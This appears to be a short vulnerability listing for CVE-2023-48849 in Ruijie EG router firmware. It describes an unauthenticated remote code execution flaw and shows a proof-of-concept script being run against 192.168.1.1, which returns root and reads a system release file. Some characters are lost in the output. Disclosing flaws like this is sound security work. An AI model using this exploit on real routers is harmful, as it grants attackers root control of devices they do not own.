CVE-2023-48849

CVE-2023-48849 锐捷EG系列路由器固件版本=EG3.01B11P216由于过滤不当，允许未经身份验证的攻击者远程执行任意代码。 root@kitploit: $ python3 poc.py 192.168.1.1 'id' uid=0root gid=0root $ python3 poc.py 192.168.1.1 'grep TARGET /etc/openwrtrelease' DISTRIBTARGET='mediatek/eg310gh-e' 演示...